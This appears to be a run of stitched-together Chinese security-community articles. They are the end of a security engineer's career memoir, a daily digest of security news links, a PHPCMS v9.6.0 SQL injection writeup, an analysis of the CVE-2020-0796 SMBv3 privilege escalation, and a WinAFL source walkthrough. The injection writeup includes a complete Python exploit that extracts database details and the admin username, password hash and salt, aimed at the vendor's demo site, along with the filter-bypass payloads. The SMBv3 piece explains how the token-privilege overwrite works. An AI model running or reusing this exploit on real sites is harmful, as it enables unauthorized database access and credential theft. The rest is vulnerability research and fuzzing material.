的问题也是类似，尤其是对于不少公司，数据库是不开启日志的，更别说是还要把日志从服务器搜集上来了。换句话来说，如果是影响业务的检测类产品，没准可以有市场。于是我们抱着尝试的心态，也没和老板吹啥牛，默默先做产品化，小步快走。我们把之前我们在公司内部做全流量镜像分析的系统做了产品化，相比于公司内部起步价
20G、50G 甚至几百 G 的带宽，用户侧上 1G 的都很少，于是我们做了很多简化处理，更多考虑的是便于部署和稳定性。
整个移植的过程其实比较简单，毕竟有点杀鸡用牛刀的感觉。销售侧也帮我们找到了几个天使用户，由于产品比较新，售前不懂，我就和销售去和用户介绍。还记得第一个用户部署测试的时候，第一天就发现了潜伏了好久的一个后门，当时正有人在使用这个后门。用户那安全设备其实部署的也不少，但是还是有这个后门，当时对方的安全负责人一激动就说他们全部机房都要部署这个。于是第一单就这么成了，互联网公司果然就是爽快。后面一段时间，我和销售一起见过不少客户，通常我们测试的用户都会有微信群，大家反馈问题都在微信群里，我那段时间经常在微信群里和用户沟通交流，产品侧的问题我们很快就迭代修改，经常上午反馈的问题我们下午就可以上线。
很多人好奇我回微信咋那么快，其实我对手机的重度使用也是那个时候开始的。我的好脾气也在这个时候展现了优势，很多产品细节使用的问题，每个好脾气就会忽略了。现在回顾那段时光，其实我们产品最后可以有不少用户，得力于从售前、测试、研发和售后的沟通顺畅，基本是把我搭进去了。我也使用过商业产品，通病是这四个环节非常脱节，越大的公司问题越大，因为公司越大，分工越细。售前不懂技术细节，满口跑火车的也不少见，售后只会抱怨说不清产品问题所在也正常。研发天天赶进度，自嗨的增加功能，不屑与没技术含量的功能修改也是常事。在我们产品的初期这些问题很少出现。一直到现在我都对这段经历很感慨，如果一个产品经理能说出自己产品哪里牛逼，其实不算牛逼，如果还能说出自己产品哪里不如竞争对手的，这个才算有点牛逼了。各种原因吧，其中肯定也包含我这段经历的加分，我后面负责了整个
web 安全产品的产品和技术，我们内部叫做
PGM，整体打通去看这些产品。有人说我安全圈认识人咋这么多，很多一部分是这个时间积累的，其实我在外面开会扯的很少。
## 兜哥带你学安全
不得不提的是我的公众号，这与我之前做安全产品的经历有一定的关系。我接触到不少从事互联网公司一线安全工作的童鞋。刚接触我的时候还是蛮防着我的，生怕我是来骗钱的。其实也可以理解，有点预算的甲方，估计都被乙方洗脑
N
遍了。另外我长的比较喜感，眼神比较清纯，人来熟，不像大家对黑客或者说安全从业人员的印象。接触几次后逐渐建立了信任，大家也比较聊的开了。虽然安全技术一直在演进，各种新的思想和概念也不断涌现，几乎每年安全会议的侧重点都会不太一样，大数据、AI
再到区块链。安全的攻击形式也层出不穷，针对 web 的、智能硬件的、AI 模型的等等。
但是一个现实是，甲方的需求和乙方介绍的技术和产品的鸿沟却一直不断扩大。一些很基础的安全加固知识可以搞定的，一些通过配置就可以搞定的事情，黑产关注了，但是大家却没怎么关注。mongodb、es
之类匿名访问放到公网裸奔，直到被加密勒索了；没打补丁的 window 服务器防火墙也不打开，还对外提供服务，直到被人全盘加密勒索；智能摄像头的 root
密码也不改，放到公网还拍些敏感内容，结果被人一个初始密码就劫持了。
我把我的一些经验和大家分享了下，发现大家蛮感兴趣。于是我抱着玩的心态，开始写我的公众号。起先我也没有多大把握会有多少人看，毕竟讲的都是些基础干货，比如如果做网络区域划分和隔离策略，如何对无线网络安全加固，生产网的服务器如何做加固等等。开始的时候，我是遇到用户问的问题，就把公众号里面相关的发给大家看。没想到一下子转发的很多，关注用户数涨的不错。最后我把文章进行了分类，分为了企业安全和
AI 安全两个板块。我公众号并不追求思路多新多领先，就是想成个小笔记本，大家有需要时可以找到使用的办法，一不小心成了一个粉丝数相当不错的安全自媒体。
## AI 探索
大概在 2014 年底还是 15 年初，组织架构调整，我收了一个研究机器学习的小团队。团队的 leader
是个非常活跃的小孩，而且特别有激情。他一直鼓捣我增加在机器学习方面的投入。
当时 HC
控制非常严格，但是我还是被他传销式的汇报感动或者说屈服，我尽力支持他。当时我们在线上环境的离线数据上做了大量的尝试，在部分场景下也取得了不少进展。也是这个阶段，我对
AI 建立起了信心。我开始重新梳理 AI
比较成功的使用场景，然后尝试移植到安全领域。那段时间我自学了机器学习，也经历过激情澎湃地买了一堆机器学习书籍后发现一个公式也看不懂的尴尬，几次想放弃。最后我发现自己是码农出身，我对代码的理解能力远强于文字和公式，于是我从有示例代码的书籍学习起，逐渐理解了机器学习的常见算法。
如何挖掘场景并使用合适的算法呢？
这个确实靠悟性和经验，很难就靠看书就理解了，需要大量的实践。我投入了大量的个人时间用于学习和实践。熟悉我的人都知道我喜欢看电子书，我的电子书里除了老罗的书和几本历史的书，基本都是机器学习的书。每天上下班有将近一个小时在城铁上看书，算起来一个月就是
20 个小时，约 3 个工作日。回顾这段学习的经历，我的感受是机器学习的学习坡度很陡，所以很多人会半途放弃或者一知半解，但是这恰恰是它的门槛。 sqlmap
的常见命令一天掌握问题不大，你觉得是门槛吗？
## 写书
为啥会写书呢？
说起来原因很简单，因为我的公众号和文章经常被人抄，有去掉我水印的，有去掉我图片的，还有完全抄只是改作者名称的。抄袭的有自媒体，有小媒体，还有一些厂商，我也无力吐槽和维权。最后我就写书吧，抄我的好歹你要买一本复印。也正是这段被抄袭的经历，我的书和
PPT，尽量连引用的图片也标注，算是一种尊重吧。
写书的选材，我选择了 AI 安全，而不是企业安全。因为实话实说，企业安全也不急于一时，市场上已经有了，但是 AI 安全的却没有。另外，大家其实对于如何使用
AI 做安全更多停留在概念层面。更有甚者，在 PR 稿上就是罗列一堆公式，然后说人能识别威胁，人能看病，所以他能用 AI 搞定。我也只能呵呵。
基于这复杂的原因，我开始写我的 AI 安全书籍。由于 AI
的知识太多，最终定稿成三本，一本讲入门的，叫《web安全之机器学习入门》，一本讲实战的，叫《web安全之深度学习实战》，目前都已经出版了。出版前我很担心卖不出去，结果让我非常意外，从甲方到乙方，从国内到国外，都有我的读者，就在今天美国
fireeye 的一位总监，当然也是我好友还在朋友圈 show
我的书。还要感谢我的几位老板帮我写序，以及众多业内好友的帮助。据说我的书还入选了出版社的计算机类年度十佳。感谢 Freebuf 的提名，我在 FIT
年度安全人物评选排到第三。
## 生命不息折腾不止
也许我继续做我的安全产品，今天改个 bug，明天加个按钮，日子也慢慢也会过去。具体的产品也有具体负责的经理，我把经理管好就 ok 了，我也可以过的比较
happy，就和以前巨牛无比的万能充一样。当年万能充卖的火热时，哪里会想到现在充电接口统一后，再难见到它的踪影。
时代抛弃你的时候，连招呼都不会打。尤其是你觉得舒适的时候。
我自己研究 AI，我的几次转型，其实都是我主动的走出了舒适区。就像我最近，以 30 岁高龄，从带团队的，转去实验室稿新产品预研一样。在一堆 20
多岁的小伙子高呼搞技术没用，要搞管理岗的时候，我选择了在一个技术型公司继续深耕技术。我有自己的技术理想，我觉得搞这些蛮开心不枯燥。
**精彩待续**
**我的奋斗还在继续，精彩等着我继续谱写。**
**想知道** **更多** **关于兜哥的故事吗？欢迎大家关注兜哥公众号，满满的** **技术** **干货分享哦**
**后续安全客还会发布兜哥的新书推荐活动，欢迎感兴趣的小伙伴来围观哦~** | 社区文章 |
# 【知识】6月30日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： rdp攻击手法: **RDPInception** **、** Eternal Champion
Exploit分析、PhantomJS图片渲染XSS漏洞升级为SSRF/Local-File Read、Tomcat 源代码调试 – 看不见的 Shell
第二式之隐藏任意 Jsp 文件 **、** hackerone今年有趣的6个漏洞、初学者的逆向指南：绕过SIGTRAP **、 读取IOS应用程序二进制文件
** **、**** 黑入Virgin Media Super Hub ** **、********
**
**
**资讯类：**
* * *
影子经纪人为月度漏洞计划发出第一轮漏洞
<http://securityaffairs.co/wordpress/60525/hacking/shadow-brokers-june-dump.html>
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
RDPInception:一种的rdp攻击手法
<https://www.mdsec.co.uk/2017/06/rdpinception/>
RDPInception – The Dangers of TSCLIENT
<https://www.youtube.com/watch?v=uLFBpdjrXx0>
Eternal Champion Exploit分析
<https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/>
读取IOS应用程序二进制文件
<https://appscreener.us/blog/?code=reading-ios-app-binary-files>
初学者的逆向指南：绕过SIGTRAP
<https://0x00sec.org/t/re-guide-for-beginners-bypassing-sigtrap/2648>
读取IOS应用程序二进制文件
<https://appscreener.us/blog/?code=reading-ios-app-binary-files>
PhantomJS图片渲染XSS漏洞升级为SSRF/Local-File Read
<http://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/>
Tomcat 源代码调试 – 看不见的 Shell 第二式之隐藏任意 Jsp 文件
[https://mp.weixin.qq.com/s?__biz=MzI5Nzc0OTkxOQ==&mid=2247483679&idx=1&sn=9816d6dadca59c9758d12d56f6aad3b3](https://mp.weixin.qq.com/s?__biz=MzI5Nzc0OTkxOQ==&mid=2247483679&idx=1&sn=9816d6dadca59c9758d12d56f6aad3b3)
Offensive ICS Exploitation: A Description of an ICS CTF
<https://labs.mwrinfosecurity.com/blog/offensive-ics-exploitation-a-technical-description>
可以在Linux和macos下结束TCP连接的小工具
<https://github.com/google/tcp_killer>
hackerone今年有趣的6个漏洞
<https://flexport.engineering/six-vulnerabilities-from-a-year-of-hackerone-808d8bfa0014>
Python Meterpreter OSX Railgun
<https://github.com/rapid7/metasploit-framework/pull/8631>
黑入Virgin Media Super Hub
<http://bobao.360.cn/learning/detail/4048.html> | 社区文章 |
### 概述
这两天看到phpcms
v9的注入漏洞，据说还是未曾公开的，但是网上已经有文章给出了分析关于漏洞的原因以及利用方式，漏洞的利用感觉很赞，所以看下并动手验证下这个漏洞。经过分析并结合网上的POC，写了一个检测脚本并本地搭建环境验证如下：
[
### POC
Python检测脚本代码：
#!/usr/bin/env python
# encoding:utf-8
import requests
import urllib
import sys
class Poc():
def __init__(self):
self.cookie={}
def test(self):
#url = 'http://10.65.10.195/phpcms_v9.6.0_GBK'
url = 'http://v9.demo.phpcms.cn/'
print '[+]Start : PHPCMS_v9.6.0 sqli test...'
cookie_payload='/index.php?m=wap&a=index&siteid=1'
info_paylaod='%*27an*d%20e*xp(~(se*lect%*2af*rom(se*lect co*ncat(0x706f6374657374,us*er(),0x23,ver*sion(),0x706f6374657374))x))'
admin_paylaod='%*27an*d%20e*xp(~(se*lect%*2afro*m(sel*ect co*ncat(0x706f6374657374,username,0x23,password,0x3a,encrypt,0x706f6374657374) fr*om v9_admin li*mit 0,1)x))'
url_padding = '%23%26m%3D1%26f%3Dtest%26modelid%3D2%26catid%3D6'
encode_url=url+'/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id='
exploit_url=url+'/index.php?m=content&c=down&a_k='
#get test cookies
self.get_cookie(url,cookie_payload)
#get mysql info
self.get_sqlinfo(encode_url,info_paylaod,url_padding,exploit_url)
#get admin info
self.get_admininfo(encode_url,admin_paylaod,url_padding,exploit_url)
def get_cookie(self,url,payload):
resp=requests.get(url+payload)
for key in resp.cookies:
if key.name[-7:] == '_siteid':
cookie_head = key.name[:6]
self.cookie[cookie_head+'_userid'] = key.value
print '[+] Get Cookie : ' + str(self.cookie)
return self.cookie
def get_sqlinfo(self,url,payload,padding,exploit_url):
sqli_payload=''
resp=requests.get(url+payload+padding,cookies=self.cookie)
for key in resp.cookies:
if key.name[-9:] == '_att_json':
sqli_payload = key.value
print '[+] Get mysql info Payload : ' + sqli_payload
info_link = exploit_url + sqli_payload
sqlinfo=requests.get(info_link,cookies=self.cookie)
resp = sqlinfo.content
print '[+] Get mysql info : ' + resp.split('poctest')[1]
def get_admininfo(self,url,payload,padding,exploit_url):
sqli_payload=''
resp=requests.get(url+payload+padding,cookies=self.cookie)
for key in resp.cookies:
if key.name[-9:] == '_att_json':
sqli_payload = key.value
print '[+] Get admin info Payload : ' + sqli_payload
admininfo_link = exploit_url + sqli_payload
admininfo=requests.get(admininfo_link,cookies=self.cookie)
resp = admininfo.content
print '[+] Get site admin info : ' + resp.split('poctest')[1]
if __name__ == '__main__':
phpcms = Poc()
phpcms.test()
### 漏洞原因
在写标题时，我在想尽量用一言点清这个漏洞的原因。这里写了phpcms v9.6.0 sys_auth在解密参数后未进行适当校验造成sql
injection。具体的漏洞触发点在phpcms\modules\content\down.php文件init函数中，代码如下:
public function init() {
$a_k = trim($_GET['a_k']);//获取a_k参数
if(!isset($a_k)) showmessage(L('illegal_parameters'));
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));//使用sys_auth加密并传入DECODE及system.php文件中的auth_key
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f);
parse_str($a_k);//将解密后的字符串解析到变量
if(isset($i)) $i = $id = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
$allow_visitor = 1;
$MODEL = getcache('model','commons');
$tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id传入sql查询语句
......部分代码省略....
......
代码通过GET获取'a_k'值，并调用sys_auth函数进行解密，这里传入了'DECODE'参数以及配置文件caches\configs\system.php文件中的auth_key字段。所以可以知道这里是使用了auth_key并进行解密操作。具体可以查看phpcms\libs\functions\global.func.php第384行sys_auth函数的定义。
在对a_k解密后使用parse_str将字符串解析到变量，并同时解码。如下代码，输出的id为:'union select
<?php
$test='id=%27union%20select';
parse_str($test);
echo $id;
?>
最后在第26行处代码处(down.php)将id传入sql查询语句。
### 漏洞利用
漏洞点上面已经说了，要利用这个漏洞，首先得对payload进行加密操作，在本地得话auth_key得值是可以知道的，但问题是肯定不通用。仔细想下，程序中有解密的方法，那肯定有相应的加密方法，所以只要在程序中找到调用加密方法并能获取到结果的接口。那便可通用检测所有存在漏洞的站点了，当然这里也要想办法让注入的payload能够不被过滤进入到这个接口，这也可以说是另一个漏洞点了。
基于这个思路，就可以在程序工程中全文搜索sys_auth传入ENCODE的方法，不过通过网上的POC可以看到其作者已经给出了这个ENCODE地方，可以看出漏洞发现者也是非常细心，必须赞下。
在phpcms\libs\classes\param.class.php文件第86行，函数set_cookie：
public static function set_cookie($var, $value = '', $time = 0) {
$time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
$s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
$var = pc_base::load_config('system','cookie_pre').$var;//获取system.php文件中cookie_pre值作为cookies字段key的前缀
$_COOKIE[$var] = $value;
if (is_array($value)) {
foreach($value as $k=>$v) {
setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
}
} else {
setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);//调用setcookie函数加密数据
}
}
从代码中可以看到这里在调用setcookie时调用了sys_auth函数，且传入的时ENCODE加密参数。而sys_auth函数定义中可以了解到，其默认使用的key既是system.php文件中的auth_key。这里即可实现对payload进行加密的目的。
到这里就剩下如何把payload完好无损的传入了，这里也时这个漏洞利用另一个让人觉得很巧妙的地方。在phpcms\modules\attachment\attachments.php文件第239行swfupload_json函数的实现中：
public function swfupload_json() {
$arr['aid'] = intval($_GET['aid']);
$arr['src'] = safe_replace(trim($_GET['src']));//获取src变量并调用safe_replace处理
$arr['filename'] = urlencode(safe_replace($_GET['filename']));
$json_str = json_encode($arr);//json_encode编码处理
$att_arr_exist = param::get_cookie('att_json');
$att_arr_exist_tmp = explode('||', $att_arr_exist);
if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
return true;
} else {
$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
param::set_cookie('att_json',$json_str);//将编码后的数据设置为cookie的值
return true;
}
}
首先这里调用了set_cookie函数，att_json作为cookies字段的key的一部分，在set_cookie函数中可以看到其与system.php文件中的cookie_pre拼接作为cookies的key，将src、aid、filename等参数json编码后设置成cookie的值。src参数传入后只经过safe_replace函数的处理，看下safe_replace的定义:
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','"',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}
作为安全过滤函数，safe_replace对%20、%27、%2527等都进行了替换删除操作。同样对 _等也进行了替换删除处理。这样如果传入%_
27经过处理后即只剩下%27.这样就可以对sql注入的payload进行适当的处理即可传入程序进入set_cookie函数，从而进行加密操作。如:
%*27uni*on%20se*lect co*ncat(0x706f6374657374,ver*sion(),0x706f6374657374),2,3,4,5,6,7,8,9,10,11,12#
### 检测POC实现
在测试时还要主意一个点，在attachments类中有一个构造函数,代码如下：
function __construct() {
pc_base::load_app_func('global');
$this->upload_url = pc_base::load_config('system','upload_url');
$this->upload_path = pc_base::load_config('system','upload_path');
$this->imgext = array('jpg','gif','png','bmp','jpeg');
$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
$this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;
$this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;
//?D??ê?·?μ???
if(empty($this->userid)){
showmessage(L('please_login','','member'));
}
}
在这里获取了userid值，从cookie的_userid字段获取或者表单userid_flash的值获取并判断，如果为空则跳转到登录页面，所以这里需要首先访问一个页面获取到这个cookie，然后每次请求带上获取的cookie再进行检测。
这个页面实现的功能是生成加密cookie，即poc中的/index.php?m=wap&a=index&siteid=1请求页面，在wap模块构造函数中set_cookie实现了加密cookie的生成
function __construct() {
$this->db = pc_base::load_model('content_model');
$this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);
param::set_cookie('siteid',$this->siteid);
$this->wap_site = getcache('wap_site','wap');
$this->types = getcache('wap_type','wap');
$this->wap = $this->wap_site[$this->siteid];
define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);
if($this->wap['status']!=1) exit(L('wap_close_status'));
}
既然漏洞原因及利用已经明白了，要实现对改漏洞的检测，首先是获取cookies字段的key的前缀'cookie_pre'及cookie，并对payload进行加密处理。从对应的'cookie_pre'_att_json字段中读取加密后的payload。最后调用漏洞触发点/index.php?m=content&c=down&a_k=payload检测是否注入成功即可。对phpcms官方演示站的测试:
[
### 漏洞修复
这个漏洞利用很巧妙，很佩服漏洞发现者不仅发现漏洞，并给出了完美的利用方法。不知道读者有没有发现这个漏洞另外一个厉害之处。
虽然没实际去测试，但笔者认为这个漏洞利用方式特殊可能导致大多数waf都无法检测、防御该注入payload。因为有了对*的替换删除，payload可以大量使用其进行混淆。
所以修改该漏洞最好从代码层级进行修复、解决。个人认为这里有两个地方都要进行相应处理，
> * 完善safe_replace函数(既然过滤存在绕过，那很可能还有其它潜在的注入)
> * sys_auth解密数据后对其进行相应安全校验
>
经验有限，文中有不妥之处还请指出~
### 参考
[1] <https://www.secpulse.com/archives/57486.html>
[2] <http://v9.demo.phpcms.cn/> | 社区文章 |
Author:剑残雪飘@深蓝攻防实验室
微软安全中心在北京时间3月12日23时发布了影响Windows 10 等系统用户的SMBv3远程代码执行漏洞补丁,本文分析一下本地提权的exp执行流程
## 漏洞原因
漏洞发生在`srv2.sys`中,由于SMB没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法.最终导致整数溢出。
## 漏洞分析
看一下调用过程:
`Srv2ReceiveHandler`调用`Srv2DecompressMessageAsync`
`Srv2DecompressMessageAsync` 调用`Srv2DecompressData`
漏洞在`Srv2DecompressData`函数中
攻击者可以控制`OriginalCompressedSegmentSize`
和`OffsetOrLength`这两个参数。`OriginalCompressedSegmentSize`用来描述压缩前的数据大小，1OffsetOrLength1用来描述压缩数据的长度或者片偏移，这两个都是32位的长度，相加产生整数溢出
## 调试分析
这里通过本地提权调试一下该漏洞的原因,项目地址：
https://github.com/danigargu/CVE-2020-0796
`Srv2!Srv2DecompressData` 在`add`之前`rcx`为`0x10`
`add`之后为`0xf`，整数溢出
然后调用`rvnet!SrvNetAllocateBuffer`
申请内存，调用`nt!RtlDecompressBufferXpressLz`进行内存拷贝，
`buf+1108+10`指向了`buf`的地址
在压缩传输时发送`1108`个`a`然后就可以覆盖`buf`指针的地址，作者利用下面代码，修改`buf`的指针为`SEP_TOKEN_PRIVILEGES`的地址：
修改后buf的地址为：
我们查看一下`token`
权限:
`SEP_TOKEN_PRIVILEGES`在`token+0x40`的地址，这个地址就是前面buffer指针覆盖的地址
通过任意写修改这个指针为`system`的权限，查看一下`system`的`TOKEN_PRIVILEGES`
所以作者在代码里修改了`SEP_TOKEN_PRIVILEGES`的值为`0x0000001ff2ffffbc`
此时程序的权限变成了system进程的权限，后面就是常规的进程注入，弹cmd了 | 社区文章 |
# 前言
`winafl` 是 `afl` 在 `windows` 的移植版， `winafl` 使用 `dynamorio`
来统计代码覆盖率，并且使用共享内存的方式让 `fuzzer` 知道每个测试样本的覆盖率信息。本文主要介绍 `winafl` 不同于 `afl` 的部分，对于
afl 的变异策略等部分没有介绍，对于 `afl` 的分析可以看
https://paper.seebug.org/496/#arithmetic
# 源码分析
`winafl` 主要分为两个部分 `afl-fuzz.c` 和 `winafl.c` ， 前者是 `fuzzer` 的主程序
，后面的是收集程序运行时信息的 `dynamorio` 插件的源码。
## afl-fuzz
### main
`winafl` 的入口时 `afl-fuzz.c` ， 其中的 `main` 函数的主要代码如下
int main(int argc, char** argv) {
// 加载变异数据修正模块
setup_post();
if (!in_bitmap) memset(virgin_bits, 255, MAP_SIZE); // MAP_SIZE --> 0x00010000
setup_shm(); // 设置共享内存
init_count_class16();
setup_dirs_fds(); // 设置模糊测试过程中的文件存放位置
read_testcases(); // 读取测试用例到队列
// 首先跑一遍所有的测试用例， 记录信息到样本队列
perform_dry_run(use_argv);
// 模糊测试主循环
while (1) {
u8 skipped_fuzz;
// 每次循环从样本队列里面取测试用例
cull_queue();
// 对测试用例进行测试
skipped_fuzz = fuzz_one(use_argv);
queue_cur = queue_cur->next;
current_entry++;
}
}
* 首先设置一些 `fuzz` 过程中需要的状态值，比如共享内存、输入输出位置。
* 然后通过 `perform_dry_run` 把提供的所有测试用例让目标程序跑一遍，同时统计执行过程中的覆盖率信息。
* 之后就开始进行模糊测试的循环，每次取样本出来，然后交给 `fuzz_one` 对该样本进行 `fuzz` .
### post_handler
该函数里面最重要的就是 `fuzz_one` 函数， 该函数的作用是完成一个样本的模糊测试，这里面实现了 afl
中的模糊测试策略，使用这些测试策略生成一个样本后，使用采用 `common_fuzz_stuff`
函数来让目标程序执行测试用例。`common_fuzz_stuff` 的主要代码如下
static u8 common_fuzz_stuff(char** argv, u8* out_buf, u32 len) {
u8 fault;
// 如果提供了数据修正函数，则调用
if (post_handler) {
out_buf = post_handler(out_buf, &len);
if (!out_buf || !len) return 0;
}
write_to_testcase(out_buf, len);
// 让目标程序执行测试用例，并返回执行结果
fault = run_target(argv, exec_tmout);
函数首先会判断是否提供了 `post_handler` ， 如果提供了 `post_handler` 就会使用提供的 `post_handler`
对变异得到的测试数据进行处理, `post_handler` 函数指针在 `setup_post` 函数中设置。
static void setup_post(void) {
HMODULE dh;
u8* fn = getenv("AFL_POST_LIBRARY"); // 通过环境变量获取 post_handler 所在 dll 的路径
u32 tlen = 6;
if (!fn) return;
ACTF("Loading postprocessor from '%s'...", fn);
dh = LoadLibraryA(fn);
if (!dh) FATAL("%s", dlerror());
post_handler = (u8* (*)(u8*,u32*))GetProcAddress(dh, "afl_postprocess"); // 加载dll 获取函数地址
if (!post_handler) FATAL("Symbol 'afl_postprocess' not found.");
/* Do a quick test. It's better to segfault now than later =) */
post_handler("hello", &tlen);
OKF("Postprocessor installed successfully.");
}
该函数首先从 `AFL_POST_LIBRARY` 环境变量里面拿到 `post_handler` 所在 `dll` 的路径， 然后设置
`post_handler` 为 `dll` 里面的 `afl_postprocess` 函数的地址。该函数在 `fuzzer` 运行的开头会调用。
post_handler 的定义如下
static u8* (*post_handler)(u8* buf, u32* len);
参数： buf 输入内存地址， len 输入内存的长度
返回值： 指向修正后的内存的地址
所以 `afl_postprocess` 需要接收两个参数， 然后返回一个指向修正后的内存的地址。`post_handler`
这个机制用于对测试数据的格式做简单的修正，比如计算校验和，计算文件长度等。
### run_target
`post_handler` 这一步过后，会调用 `write_to_testcase` 先把测试用例写入文件，默认情况下测试用例会写入
`.cur_input` (用户可以使用 -f 指定)
out_file = alloc_printf("%s\\.cur_input", out_dir);
然后调用 `run_target` 让目标程序处理测试用例，其主要代码如下
static u8 run_target(char** argv, u32 timeout) {
// 如果进程还存活就不去创建新的进程
if(!is_child_running()) {
destroy_target_process(0);
create_target_process(argv); // 创建进程并且使用 dynamorio 监控
fuzz_iterations_current = 0;
}
if (custom_dll_defined)
process_test_case_into_dll(fuzz_iterations_current);
child_timed_out = 0;
memset(trace_bits, 0, MAP_SIZE);
result = ReadCommandFromPipe(timeout);
if (result == 'K')
{
//a workaround for first cycle in app persistent mode
result = ReadCommandFromPipe(timeout);
}
// 当 winafl.dll 插桩准备好以后， 会通过命名管道发送 P
if (result != 'P')
{
FATAL("Unexpected result from pipe! expected 'P', instead received '%c'\n", result);
}
// 让 winafl.dll 那端开始继续执行
WriteCommandToPipe('F');
result = ReadCommandFromPipe(timeout);
// 接收到 K 就表示该用例运行正常
if (result == 'K') return FAULT_NONE;
if (result == 'C') {
destroy_target_process(2000);
return FAULT_CRASH;
}
destroy_target_process(0);
return FAULT_TMOUT;
}
首先会去判断目标进程是否还处于运行状态，如果不处于运行状态就新建目标进程，因为在 `fuzz` 过程中为了提升效率 ，会使用 `dynamorio`
来让目标程序不断的运行指定的函数，所以不需要每次 `fuzz` 都起一个新的进程。
然后如果需要使用用户自定义的方式发送数据。 就会使用 `process_test_case_into_dll` 发送测试用例，比如 `fuzz`
的目标是网络应用程序。
static int process_test_case_into_dll(int fuzz_iterations)
{
char *buf = get_test_case(&fsize);
result = dll_run_ptr(buf, fsize, fuzz_iterations); /* caller should copy the buffer */
free(buf);
return 1;
}
这个 `dll_run_ptr` 在用户通过 `-l` 提供了`dll` 的路径后，`winafl` 会通过 `load_custom_library`
设置相关的函数指针
void load_custom_library(const char *libname)
{
int result = 0;
HMODULE hLib = LoadLibraryA(libname);
dll_init_ptr = (dll_init)GetProcAddress(hLib, "_dll_init@0");
dll_run_ptr = (dll_run)GetProcAddress(hLib, "_dll_run@12");
}
`winafl` 自身也提供了[两个示例](https://github.com/mxmssh/netafl)分别是 `tcp` 服务和 `tcp`
客户端。在 `dll_run_ptr` 中也可以实现一些协议的加解密算法，这样就可以 `fuzz` 数据加密的协议了。
在一切准备好以后 `winafl` 往命名管道里面写入 `F` ，通知 `winafl.dll` （`winafl`
中实现代码覆盖率获取的dynamorio 插件）运行测试用例并记录覆盖率信息。 `winafl.dll` 执行完目标函数后会通过命名管道返回一些信息，
如果返回 `K` 表示用例没有触发异常，如果返回 `C` 表明用例触发了异常。
在 `run_target` 函数执行完毕之后， `winafl` 会对用例的覆盖率信息进行评估，然后更新样本队列。
## winafl.c
这个文件里面包含了 `winafl` 实现的 `dynamorio` 插件，里面实现覆盖率搜集以及一些模糊测试的效率提升机制。
### dr_client_main
该文件的入口函数是 `dr_client_main`
DR_EXPORT void
dr_client_main(client_id_t id, int argc, const char *argv[])
{
drmgr_init();
drx_init();
drreg_init(&ops);
drwrap_init();
options_init(id, argc, argv);
dr_register_exit_event(event_exit);
drmgr_register_exception_event(onexception);
if(options.coverage_kind == COVERAGE_BB) {
drmgr_register_bb_instrumentation_event(NULL, instrument_bb_coverage, NULL);
} else if(options.coverage_kind == COVERAGE_EDGE) {
drmgr_register_bb_instrumentation_event(NULL, instrument_edge_coverage, NULL);
}
drmgr_register_module_load_event(event_module_load);
drmgr_register_module_unload_event(event_module_unload);
dr_register_nudge_event(event_nudge, id);
client_id = id;
if (options.nudge_kills)
drx_register_soft_kills(event_soft_kill);
if(options.thread_coverage) {
winafl_data.fake_afl_area = (unsigned char *)dr_global_alloc(MAP_SIZE);
}
if(!options.debug_mode) {
setup_pipe();
setup_shmem();
} else {
winafl_data.afl_area = (unsigned char *)dr_global_alloc(MAP_SIZE);
}
if(options.coverage_kind == COVERAGE_EDGE || options.thread_coverage || options.dr_persist_cache) {
winafl_tls_field = drmgr_register_tls_field();
if(winafl_tls_field == -1) {
DR_ASSERT_MSG(false, "error reserving TLS field");
}
drmgr_register_thread_init_event(event_thread_init);
drmgr_register_thread_exit_event(event_thread_exit);
}
event_init();
}
函数的主要逻辑如下
* 首先会初始化一些 `dynamorio` 的信息， 然后根据用户的参数来选择是使用基本块覆盖率（`instrument_bb_coverage`）还是使用边覆盖率(`instrument_edge_coverage`)。
* 然后再注册一些事件的回调。
